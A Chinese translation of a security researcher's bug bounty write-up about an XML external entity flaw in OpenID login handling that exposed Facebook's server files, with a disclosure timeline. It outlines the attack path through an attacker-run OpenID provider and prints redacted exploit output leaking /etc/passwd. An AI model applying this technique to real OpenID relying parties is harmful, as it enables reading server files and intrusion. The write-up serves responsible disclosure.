我如何发现Facebook服务器中的远程代码执行漏洞

头像
JeOam
    阅读 8 分钟

    大家好！首先我做一下自我介绍。我叫Reginaldo Silva，是一名巴西籍的计算机工程师。最近我的工作与信息安全有关，尤其是在Web应用程序安全性的方面。如果可以的话，我很乐意给大家演示如何入侵网站和应用程序。我的主页上有一些相关信息，欢迎大家浏览。

    今天，我想讲一下我发现一个影响Facebook的远程漏洞代码的过程。正如一般的故事开头那样，这一过程也是在很长时间以前就开始了（实际上仅仅是一年多，但我依然感觉很漫长）。如果你觉得这个话题很有趣，或者想让我帮你在你的（或你公司的）代码中做一些有关审查和渗透测试的安全问题，请发邮件给我。我的邮箱是 reginaldo@ubercomp.com。

    2012年的9月22日对我来说是个特别的日子，因为那天我发现了一个XML外部实体扩展（XXE）漏洞，它能影响Drupal管理OpenID的那部分功能。XML外部实体的功能很强大，它能读文件系统中的所有文件，能连接任意网络。如果你想寻求刺激，你可以用billion laughs进行DoS攻击。

    最开始我并没有在意其他人也存在这样的漏洞，当我发现时，我立即将其提交到CVE上。这是我的第一个贡献，所以从那以后我将这条信息写在了简历上（这条漏洞的编号是CVE-2012-4554）。五天后，我突然想到OpenID的应用很广，因此，其它地方也可能存在这样的漏洞。我检查了一下StackOverflow的登录方式，发现的确存在漏洞，而且可危及整个网站。

    然后，我准备查找谷歌服务器中的OpenID 代码。虽然我无法打开文件，无法进行网络连接，但谷歌的应用引擎和博客平台都很容易受到DoS攻击。这个漏洞让我赚到了第一桶金，大约有500美元。

    在向谷歌报告了这个漏洞后，我又测试了几个实例，最后发现，这个漏洞正在危及许多系统。这里就不列举具体内容了，但是用Java, C#, PHP, Ruby, Python, Perl等语言编写的运行库或多或少都存在问题。不公布的原因是因为这些系统实在太脆弱了。一个了解安全机制的人可以读取OpenID 和XML外部实体，然后就能一段恶意代码进行攻击。哎呀，我有些跑题了。

    之后我联系了一些编写OpenID库的开发者，有些作者只把安全列表托管在了OpenID基金会上面，我又给他们发了一篇题为“一个可以掌控一切的漏洞：运用XML外部实体实现 OpenID中的脆弱性”的邮件来说明这一问题。我想大部分库作者都是列表中的成员，所以补丁将会发给他们每个人。我自以为做得很好了，事实上，我才走了一小步而已。

    跟我经常交流的读者依然有这样的问题：Facebook的远程代码执行漏洞到底是什么？它竟然使我们做到这种程度。过去，Facebook使用OpenID进行登录。然而，当我在2012年第一次发现OpenID漏洞的时候，我就找不到任何能进入任意OpenID网址的终结点。以前可以在

    https://www.facebook.com/openid/consumer_helper.php?openid.mode=checkid_setup&user_claimed_id=YOUR_CLAIMED_ID_HERE&context=link&request_id=0&no_extensions=false&third_party_login=false

    动些手脚，现在 consumer_helper.php节点已经关闭了。一年后我以为Facebook的安全性有所提高，但我又测试了一下忘记密码得到了这样的结果：

    https://www.facebook.com/openid/receiver.php

    那时候我开始怀疑Facebook还是存在一年前我发现的那个漏洞的危害。然后我做了许多测试证明了这个猜想。简言之，如果你忘记密码了，你可以向Facebook说明你有一个@gmail.com的邮箱，然后登录自己邮箱后，把自己的信息提交给Facebook。这实际上是用邮箱登进Facebook的，这种登录方式就是基于OpenID的。到目前为止，一切都进展的不错，只是我自己遇到了些问题。我知道，由于工作的失误，OpenID的依赖方需要向已被控制的OpenID提供商（OP）发送一个Yadis发现请求，比如说http://www.ubercomp.com/。然后我的恶意提供商就会回复一个恶意的XML，它被依赖方解析，从而遭受XXE攻击。

    因为我没有干预原始的OpenID请求（Facebook 与 Google之间的直接请求），实际上我没有机会进入在我控制下的作为OpenID标示符的网址，也没有让Facebook发送Yadis发现请求到这个网站。所以，我想这种错误应该不会发生了，除非我能获取谷歌到Facebook的那段恶意XML，而这种可能性极低。幸运的是，我错了。在仔细阅读了 OpenID 2.0 规范后，第11.2节验证发现的信息写到：

    如果声明的标示符没有事先告诉依赖方（“openid标识”可以是“http://specs.openid.net/auth/2.0/identifier_select”，或是不同的标示符，或是OP发送的标识判断），依赖方必须提出来，以确保该OP有权对声称的身份标识做出判断。

    我看了一下，openid标识果真是http://specs.openid.net/auth/2.0/identifier_select。实际上许多系统使用的都是这个。在几分钟后，我向 https://www.facebook.com/openid/receiver.php 发了一个请求，它可以让Facebook向一个被我控制的网站发送一个Yadis请求。之后会返回包含恶意XML的响应。 当我向Facebook服务器请求打开/dev/random，服务器不会返回响应，而且几分钟后请求会失效。即使如此，我还是不能打开任意文件。我尝试了许多XXE，包括各种组合和参数实体，但还是一无所获。然后我突然意识到在此过程中是存在一些问题的，改正之后……

    $ bash exploit.sh
* About to connect() to www.facebook.com port 80 (#0)
*   Trying 31.13.75.1... connected
* Connected to www.facebook.com (31.13.75.1) port 80 (#0)
> GET /openid/receiver.php?provider_id=1010459756371
    &context=account_recovery&protocol=http&request_id=1
    &openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
    &openid.mode=id_res&openid.op_endpoint=...(redacted)... HTTP/1.1
> Host: www.facebook.com
> Accept: */*
> User-Agent: Chrome
>
< HTTP/1.1 200 OK
< Cache-Control: private, no-cache, no-store, must-revalidate
< Expires: Sat, 01 Jan 2000 00:00:00 GMT
< P3P: CP="Facebook does not have a P3P policy. Learn why here:

http://fb.me/p3p"

< Pragma: no-cache
< X-Content-Type-Options: nosniff
< X-Frame-Options: DENY
< X-XRDS-Location: http://www.facebook.com/openid/xrds.php
< X-XSS-Protection: 0
< Set-Cookie: datr=...(redacted)...; expires=Thu, 19-Nov-2015 15:34:24 GMT; 
    path=/; domain=.facebook.com; httponly
< Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
    path=/; domain=.facebook.com
< Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
    %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
    %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
    %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
    path=/; domain=.facebook.com
< Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
    %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
    %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
    %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
    path=/; domain=.facebook.com
< Content-Type: text/html; charset=utf-8
< X-FB-Debug: ...(redacted)...
< Date: Tue, 19 Nov 2013 15:34:24 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
<
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<script>
function envFlush(a) {
    function b(c) {
        for (var d in a) c[d] = a[d];
    }
    if (window.requireLazy) {
        window.requireLazy(['Env'], b);
    } else {
        Env = window.Env || {};
        b(Env);
    }
}
envFlush({
    "user": "0"
});
<title>Facebook</title>
<script src="http://static.ak.fbcdn.net/rsrc.php/v2/yR/r/Bx6hq_79BTx.js" crossorigin="anonymous"></script>
<script type="text/javascript">window.Bootloader &&
  Bootloader.done(["ASVup"]);</script>
</head>

<body class="Locale_en_US">
<script type="text/javascript">
Bootloader.setResourceMap({
    "\/2NZV": {
        "type": "js",
        "crossOrigin": 1,
        "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yo\/r\/CAz6i9Uu16e.js"
    },
    "GduTW": {
        "type": "js",
        "crossOrigin": 1,
        "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yu\/r\/aGXWJInaxrx.js"
    }
});
</script>
<script type="text/javascript">
require("InitialJSLoader").loadOnDOMContentReady(["GduTW","\/2NZV"]);
</script>
<script type="text/javascript">
Bootloader.configurePage([]);
Bootloader.done([]);

require("InitialJSLoader").handleServerJS({
    "require": [
        ["OnloadHooks"],
        ["lowerDomain"]
    ]
});

onloadRegister_DEPRECATED(function () {
    openid_submit_response({
        "__ar": 1,
        "error": 1428005,
        "errorSummary": "Error while processing response",
        "errorDescription": {
            "__html": " \
There was an error while processing the OpenID response. \
No matching endpoint found after discovering http:\/\/www.ubercomp.com\/...(redacted)... \
<br \/><br \/> OP Endpoint mismatch. Expected http:\/\/www.ubercomp.com\/...(redacted)..., \
got http:\/\/www.ubercomp.com\/...(REDACTED).../?x=\
root:x:0:0:root:\/root:\/bin\/bash\n \
bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \
daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n \
adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n \
lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n \
sync:x:5:0:sync:\/sbin:\/bin\/sync\n \
shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n \
halt:x:7:0:halt:\/sbin:\/sbin\/halt\n \
mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n \
uucp:x:10:14:uucp:\/var\/spool\/uucp:\/sbin\/nologin\n \
operator:x:11:0:operator:\/root:\/sbin\/nologin\n \
games:x:12:100:games:\/usr\/games:\/sbin\/nologin\n \
gopher:x:13:30:gopher:\/var\/gopher:\/sbin\/nologin\n \
ftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\n \
nobody:x:99:99:Nobody:\/:\/sbin\/nologin\n \
dbus:x:81:81:System message bus:\/:\/sbin\/nologin\n \
...(REDACTED)..."
        },
        "payload": null,
        "bootloadable": {},
        "ixData": []
    }, 1)
});
</script>
</body>
</html>
* Connection #0 to host www.facebook.com left intact
* Closing connection #0

    没错，响应中包含了Facebook的/etc/passwd。现在，我们可以随意访问了。我觉得我发现了通向王国的道路。通过Facebook 服务器视图节点能够读取任意文件和进行网络连接，视图节点不需要代理，这可是 Facebook不惜高成本建立的。随后我又有了新想法，觉得应该将其形成一个完整远程执行程序。

    网络中漏洞奖励计划是非常好的方式，它也有自己的规则：不管何时发现了漏洞，请不要犹豫。将其按程序提交，安全小组会全面考虑，并向支付相应的报酬。起初，我并不信任 Facebook的安全小组，并且认为他们不会把我提交的漏洞看做是远程代码执行漏洞。我不想造成误解，所以我决定立即提交，然后我申请了一个权限进行RCE升级。升级完毕后，它可以正常运行。我想这应该没什么问题了。因为大部分漏洞都需要花很长时间来处理，我有足够的时间升级RCE，同时我觉得我是一个优秀的白帽黑客。在写完漏洞报告后，我决定出去走走，顺便吃个午餐，回来之后继续工作。

    然而，我又错了，因为这是一个严重的漏洞，吃过午饭后，我加快了速度。我把报告发出去不到2个小时，让我既难忘又难过，但因为我知道如何升级远程代码执行漏洞，我将如何修复告诉了安全小组。当他们测试攻击是否有效时，我很相信他们给出的结论。我为我的作为而高兴。在接到一些反馈和4封邮件后，安全小组确认我的攻击是安全的，我发现的RCE的确能影响他们的服务器。

    所以这就是攻击的入口，即我迄今发现的第一个高冲击漏洞。它大概也是悬赏最高的漏洞之一。另外，我还可以吹牛说我攻入了Facebook……不错，是吧？顺便说一句，安全小组的成员也写了一篇关于这事的文章。

    欢迎加入Hacker News进行讨论。

    事件时间点

    所有时间以格林威治标准时间。不重要的信息我就不提了。

    • 2013-11-19 15:51: 写报告
    • 2013-11-19 17:37: 安全小组成员Godot感谢我的发现
    • 2013-11-19 17:46: 我得到了可以读任意文件的答复
    • 2013-11-19 19:31: 安全小组成员 Emrakul通知我短暂的修复将持续30分钟。
    • 2013-11-19 20:27: 我确信漏洞已被修复。
    • 2013-11-21 20:03: 获得酬金。安全小组说这是他们目前支付的最高金额。
    • 2013-11-22 2:13: 我发了封邮件，询问安全小组把漏洞看做是RCE还是仅仅是文件泄露。
    • 2013-11-23 1:17: 安全小组回复说，他们认为攻击不能升级到RCE。
    • 2013-11-23 19:54: 我解释说明如何进行升级
    • 2013-11-24 21:23: Facebook 回复说我的攻击起作用了，他们会进行处理的。
    • 2013-12-03 4:45: Facebook 通知我说修复会持续一段时间，他们准备讨论一个新的报酬计划。
    • 2013-12-03 19:14: 我双手交叉，向他们表示感谢。
    • 2013-12-13 13:04: 我看到了一篇引自Ryan McGeehan的一篇文章，Ryan负责管理Facebook的事件响应部门，他说“如果有一个价值百万美元的漏洞，那么我们愿意支付”。然后又询问了一下他们是否有新消息。
    • 2013-12-30 4:45: Facebook通知我说漏洞已经成为了RCE，所以费用会更高。我不会透漏具体数额，你可以猜一猜，然后说出来。当然我也不会得到一百万那么多，我引用McGeehan的话仅仅是为了娱乐一下，不要当真。

    原文：XXE in OpenID: one bug to rule them all, or how I found a Remote Code Execution flaw affecting Facebook's servers
    转载自：伯乐在线 - smilesisi

    facebookopenid漏洞服务器
    JeOam
    8.7k 声望166 粉丝

    热爱互联网

    « 上一篇
    写一个更好的 Javascript DOM 库
    下一篇 »
    豆瓣开源的代码协作的平台：CODE

    引用和评论

    推荐阅读
    头像
    什么样的硬件设备在支撑 Stack Overflow？

    JeOam赞 2阅读 5.3k评论 1

    头像
    有了它，再也不用死记硬背Linux命令了

    clain赞 1阅读 3.9k

    头像
    FlexServer R390服务器升级BIOS

    kexb赞 2阅读 355

    头像
    全面解析腾讯云轻量服务器：从基础操作到高级应用的实践指南

    一键难忘阅读 1.7k

    头像
    轻松搭建小型网站，腾讯云轻量应用服务器全解析

    一键难忘阅读 1.3k

    头像
    深入云电脑PC Farm技术探讨，以阿里云、华为云、ToDesk为例

    一键难忘赞 1阅读 1.1k评论 1

    头像
    新手指南：MySQL常用指令码

    已注销赞 1阅读 257

    0 条评论
    得票最新